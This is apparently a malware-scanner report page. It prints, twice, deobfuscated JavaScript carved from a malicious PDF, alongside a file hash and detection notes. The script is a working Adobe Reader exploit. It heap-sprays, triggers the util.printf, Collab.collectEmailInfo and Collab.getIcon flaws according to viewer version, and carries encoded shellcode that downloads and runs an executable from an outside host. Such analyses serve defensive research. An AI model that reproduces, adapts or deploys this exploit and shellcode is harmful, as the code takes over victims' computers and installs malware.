var fillblock=bigblock.substring(0,spray);var block=bigblock.substring(0,bigblock.length-spray);while(block.length+spray<0x40000){block=block+block+fillblock;}
var mem_array=new Array();for(var i=0;i<1400;i++){mem_array[i]=block+heapblock;}
var num=12999999999999999999888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888;util.printf("%45000f",num);}
function collab_email(){var shellcode=unescape("%u6490%u18A1%u0000%u8B00%u3040%u408B%u8B54%u0440%u408B%u8B04%u0440%u200D%u2000%u3D00%u007C%u0077%u0174%u33C3%u64C0%u408B%u7830%u8B0C%u0C40%u708B%uAD1C%u588B%uEB08%u8B09%u3440%u408D%u8B7C%u3C58%u446A%uD15A%u2BE2%u8BE2%uEBEC%u5A4F%u8352%u56EA%u5589%u5604%u8B57%u3C73%u748B%u7833%uF303%u8B56%u2076%uF303%uC933%u5049%uAD41%uFF33%u0F36%u14BE%u3803%u74F2%uC108%u0DCF%uFA03%uEB40%u58EF%uF83B%uE575%u8B5E%u2446%uC303%u8B66%u480C%u568B%u031C%u8BD3%u8A04%uC303%u5E5F%uC350%u7D8D%u5708%uB852%uCA33%u5B8A%uA2E8%uFFFF%u32FF%u8BC0%uF2F7%u4FAE%u75B8%u652E%uAB78%u9866%uAB66%uC033%u61B8%u0064%u5000%u5468%u7268%u3565%u1C24%u7469%u5450%uB853%uFCAA%u7C0D%u55FF%u8B04%u83F8%u0CC4%u6CB0%uE08A%u5098%u6F68%u2E6E%u6864%u7275%u6D6C%uB854%u4E8E%uEC0E%u55FF%u9304%u3350%u50C0%u5650%u558B%u8304%u7FC2%uC283%u524C%uB850%u1A36%u702F%u55FF%u5B04%u5657%u98B8%u8AFE%uFF0E%u0455%u006A%uD7FF%u7468%u7074%u2F3A%u612F%u6D64%u6E69%u6572%u6967%u6E6F%u692E%u666E%u2F6F%u6F62%u6E72%u6A2F%u6C6B%u336D%u652E%u6578%u0000");var mem_array=new Array();var cc=0x0c0c0c0c;var addr=0x400000;var sc_len=shellcode.length*2;var len=addr-(sc_len+0x38);var yarsp=unescape("%u9090%u9090");yarsp=fix_it(yarsp,len);var count2=(cc-0x400000)/addr;for(var count=0;count<count2;count++){mem_array[count]=yarsp+shellcode;}
var overflow=unescape("%u0c0c%u0c0c");while(overflow.length<44952){overflow+=overflow;}
this.collabStore=Collab.collectEmailInfo({subj:"",msg:overflow});}
function collab_geticon(){if(app.doc.Collab.getIcon){var arry=new Array();var vvpethya=unescape("%u6490%u18A1%u0000%u8B00%u3040%u408B%u8B54%u0440%u408B%u8B04%u0440%u200D%u2000%u3D00%u007C%u0077%u0174%u33C3%u64C0%u408B%u7830%u8B0C%u0C40%u708B%uAD1C%u588B%uEB08%u8B09%u3440%u408D%u8B7C%u3C58%u446A%uD15A%u2BE2%u8BE2%uEBEC%u5A4F%u8352%u56EA%u5589%u5604%u8B57%u3C73%u748B%u7833%uF303%u8B56%u2076%uF303%uC933%u5049%uAD41%uFF33%u0F36%u14BE%u3803%u74F2%uC108%u0DCF%uFA03%uEB40%u58EF%uF83B%uE575%u8B5E%u2446%uC303%u8B66%u480C%u568B%u031C%u8BD3%u8A04%uC303%u5E5F%uC350%u7D8D%u5708%uB852%uCA33%u5B8A%uA2E8%uFFFF%u32FF%u8BC0%uF2F7%u4FAE%u75B8%u652E%uAB78%u9866%uAB66%uC033%u61B8%u0064%u5000%u5468%u7268%u3565%u1C24%u7469%u5450%uB853%uFCAA%u7C0D%u55FF%u8B04%u83F8%u0CC4%u6CB0%uE08A%u5098%u6F68%u2E6E%u6864%u7275%u6D6C%uB854%u4E8E%uEC0E%u55FF%u9304%u3350%u50C0%u5650%u558B%u8304%u7FC2%uC283%u524C%uB850%u1A36%u702F%u55FF%u5B04%u5657%u98B8%u8AFE%uFF0E%u0455%u006A%uD7FF%u7468%u7074%u2F3A%u612F%u6D64%u6E69%u6572%u6967%u6E6F%u692E%u666E%u2F6F%u6F62%u6E72%u752F%u7A77%u2E33%u7865%u0065");var hWq500CN=vvpethya.length*2;var len=0x400000-(hWq500CN+0x38);var yarsp=unescape("%u9090%u9090");yarsp=fix_it(yarsp,len);var p5AjK65f=(0x0c0c0c0c-0x400000)/0x400000;for(var vqcQD96y=0;vqcQD96y<p5AjK65f;vqcQD96y++){arry[vqcQD96y]=yarsp+vvpethya;}
var tUMhNbGw=unescape("%09");while(tUMhNbGw.length<0x4000){tUMhNbGw+=tUMhNbGw;}
tUMhNbGw="N."+tUMhNbGw;app.doc.Collab.getIcon(tUMhNbGw);}}
function pdf_start(){var version=app.viewerVersion.toString();version=version.replace(/\D/g,'');var varsion_array=new Array(version.charAt(0),version.charAt(1),version.charAt(2));if((varsion_array[0]==8)&&(varsion_array[1]==0)||(varsion_array[1]==1&&varsion_array[2]<3)){util_printf();}
if((varsion_array[0]<8)||(varsion_array[0]==8&&varsion_array[1]<2&&varsion_array[2]<2)){collab_email();}
if((varsion_array[0]<9)||(varsion_array[0]==9&&varsion_array[1]<1)){collab_geticon();}}
pdf_start();
generic_stage_recovery_001.js deobfuscated-js generic stage recovery percent-decode from combined JavaScript objects at offset 0x36B 5348 bytes
SHA-256: b8a325fa821bc9a5ab7146e0263b63698412b6b5e1f15e2a508969f8e2cd796d
Detection
ClamAV: No threats found
Obfuscation or payload: likely
Carved artifact contains 9 eval/decoder/string-building token(s). Carved artifact contains 1 long base64-like blob(s).
Preview script
First 1,000 lines of the extracted script
function fix_it(yarsp,len){while(yarsp.length*2<len){yarsp+=yarsp;}
yarsp=yarsp.substring(0,len/2);return yarsp;}
function util_printf(){var payload=unescape("%u6490%u18A1%u0000%u8B00%u3040%u408B%u8B54%u0440%u408B%u8B04%u0440%u200D%u2000%u3D00%u007C%u0077%u0174%u33C3%u64C0%u408B%u7830%u8B0C%u0C40%u708B%uAD1C%u588B%uEB08%u8B09%u3440%u408D%u8B7C%u3C58%u446A%uD15A%u2BE2%u8BE2%uEBEC%u5A4F%u8352%u56EA%u5589%u5604%u8B57%u3C73%u748B%u7833%uF303%u8B56%u2076%uF303%uC933%u5049%uAD41%uFF33%u0F36%u14BE%u3803%u74F2%uC108%u0DCF%uFA03%uEB40%u58EF%uF83B%uE575%u8B5E%u2446%uC303%u8B66%u480C%u568B%u031C%u8BD3%u8A04%uC303%u5E5F%uC350%u7D8D%u5708%uB852%uCA33%u5B8A%uA2E8%uFFFF%u32FF%u8BC0%uF2F7%u4FAE%u75B8%u652E%uAB78%u9866%uAB66%uC033%u61B8%u0064%u5000%u5468%u7268%u3565%u1C24%u7469%u5450%uB853%uFCAA%u7C0D%u55FF%u8B04%u83F8%u0CC4%u6CB0%uE08A%u5098%u6F68%u2E6E%u6864%u7275%u6D6C%uB854%u4E8E%uEC0E%u55FF%u9304%u3350%u50C0%u5650%u558B%u8304%u7FC2%uC283%u524C%uB850%u1A36%u702F%u55FF%u5B04%u5657%u98B8%u8AFE%uFF0E%u0455%u006A%uD7FF%u7468%u7074%u2F3A%u612F%u6D64%u6E69%u6572%u6967%u6E6F%u692E%u666E%u2F6F%u6F62%u6E72%u652F%u6866%u6C69%u3376%u652E%u6578%u0000");var nop=unescape("%u0A0A%u0A0A%u0A0A%u0A0A")
var heapblock=nop+payload;var bigblock=unescape("%u0A0A%u0A0A");var headersize=20;var spray=headersize+heapblock.length;while(bigblock.length<spray){bigblock+=bigblock;}
var fillblock=bigblock.substring(0,spray);var block=bigblock.substring(0,bigblock.length-spray);while(block.length+spray<0x40000){block=block+block+fillblock;}
var mem_array=new Array();for(var i=0;i<1400;i++){mem_array[i]=block+heapblock;}
var num=12999999999999999999888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888;util.printf("E000f",num);}
function collab_email(){var shellcode=unescape("%u6490%u18A1%u0000%u8B00%u3040%u408B%u8B54%u0440%u408B%u8B04%u0440%u200D%u2000%u3D00%u007C%u0077%u0174%u33C3%u64C0%u408B%u7830%u8B0C%u0C40%u708B%uAD1C%u588B%uEB08%u8B09%u3440%u408D%u8B7C%u3C58%u446A%uD15A%u2BE2%u8BE2%uEBEC%u5A4F%u8352%u56EA%u5589%u5604%u8B57%u3C73%u748B%u7833%uF303%u8B56%u2076%uF303%uC933%u5049%uAD41%uFF33%u0F36%u14BE%u3803%u74F2%uC108%u0DCF%uFA03%uEB40%u58EF%uF83B%uE575%u8B5E%u2446%uC303%u8B66%u480C%u568B%u031C%u8BD3%u8A04%uC303%u5E5F%uC350%u7D8D%u5708%uB852%uCA33%u5B8A%uA2E8%uFFFF%u32FF%u8BC0%uF2F7%u4FAE%u75B8%u652E%uAB78%u9866%uAB66%uC033%u61B8%u0064%u5000%u5468%u7268%u3565%u1C24%u7469%u5450%uB853%uFCAA%u7C0D%u55FF%u8B04%u83F8%u0CC4%u6CB0%uE08A%u5098%u6F68%u2E6E%u6864%u7275%u6D6C%uB854%u4E8E%uEC0E%u55FF%u9304%u3350%u50C0%u5650%u558B%u8304%u7FC2%uC283%u524C%uB850%u1A36%u702F%u55FF%u5B04%u5657%u98B8%u8AFE%uFF0E%u0455%u006A%uD7FF%u7468%u7074%u2F3A%u612F%u6D64%u6E69%u6572%u6967%u6E6F%u692E%u666E%u2F6F%u6F62%u6E72%u6A2F%u6C6B%u336D%u652E%u6578%u0000");var mem_array=new Array();var cc=0x0c0c0c0c;var addr=0x400000;var sc_len=shellcode.length*2;var len=addr-(sc_len+0x38);var yarsp=unescape("%u9090%u9090");yarsp=fix_it(yarsp,len);var count2=(cc-0x400000)/addr;for(var count=0;count<count2;count++){mem_array[count]=yarsp+shellcode;}
var overflow=unescape("%u0c0c%u0c0c");while(overflow.length<44952){overflow+=overflow;}
this.collabStore=Collab.collectEmailInfo({subj:"",msg:overflow});}
function collab_geticon(){if(app.doc.Collab.getIcon){var arry=new Array();var vvpethya=unescape("%u6490%u18A1%u0000%u8B00%u3040%u408B%u8B54%u0440%u408B%u8B04%u0440%u200D%u2000%u3D00%u007C%u0077%u0174%u33C3%u64C0%u408B%u7830%u8B0C%u0C40%u708B%uAD1C%u588B%uEB08%u8B09%u3440%u408D%u8B7C%u3C58%u446A%uD15A%u2BE2%u8BE2%uEBEC%u5A4F%u8352%u56EA%u5589%u5604%u8B57%u3C73%u748B%u7833%uF303%u8B56%u2076%uF303%uC933%u5049%uAD41%uFF33%u0F36%u14BE%u3803%u74F2%uC108%u0DCF%uFA03%uEB40%u58EF%uF83B%uE575%u8B5E%u2446%uC303%u8B66%u480C%u568B%u031C%u8BD3%u8A04%uC303%u5E5F%uC350%u7D8D%u5708%uB852%uCA33%u5B8A%uA2E8%uFFFF%u32FF%u8BC0%uF2F7%u4FAE%u75B8%u652E%uAB78%u9866%uAB66%uC033%u61B8%u0064%u5000%u5468%u7268%u3565%u1C24%u7469%u5450%uB853%uFCAA%u7C0D%u55FF%u8B04%u83F8%u0CC4%u6CB0%uE08A%u5098%u6F68%u2E6E%u6864%u7275%u6D6C%uB854%u4E8E%uEC0E%u55FF%u9304%u3350%u50C0%u5650%u558B%u8304%u7FC2%uC283%u524C%uB850%u1A36%u702F%u55FF%u5B04%u5657%u98B8%u8AFE%uFF0E%u0455%u006A%uD7FF%u7468%u7074%u2F3A%u612F%u6D64%u6E69%u6572%u6967%u6E6F%u692E%u666E%u2F6F%u6F62%u6E72%u752F%u7A77%u2E33%u7865%u0065");var hWq500CN=vvpethya.length*2;var len=0x400000-(hWq500CN+0x38);var yarsp=unescape("%u9090%u9090");yarsp=fix_it(yarsp,len);var p5AjK65f=(0x0c0c0c0c-0x400000)/0x400000;for(var vqcQD96y=0;vqcQD96y<p5AjK65f;vqcQD96y++){arry[vqcQD96y]=yarsp+vvpethya;}
var tUMhNbGw=unescape("	");while(tUMhNbGw.length<0x4000){tUMhNbGw+=tUMhNbGw;}
tUMhNbGw="N."+tUMhNbGw;app.doc.Collab.getIcon(tUMhNbGw);}}
function pdf_start(){var version=app.viewerVersion.toString();version=version.replace(/\D/g,'');var varsion_array=new Array(version.charAt(0),version.charAt(1),version.charAt(2));if((varsion_array[0]==8)&&(varsion_array[1]==0)||(varsion_array[1]==1&&varsion_array[2]<3)){util_printf();}
if((varsion_array[0]<8)||(varsion_array[0]==8&&varsion_array[1]<2&&varsion_array[2]<2)){collab_email();}
if((varsion_array[0]<9)||(varsion_array[0]==9&&varsion_array[1]<1)){collab_geticon();}}
pdf_start();

Open this report in the interactive analyzer, or submit your own file for analysis.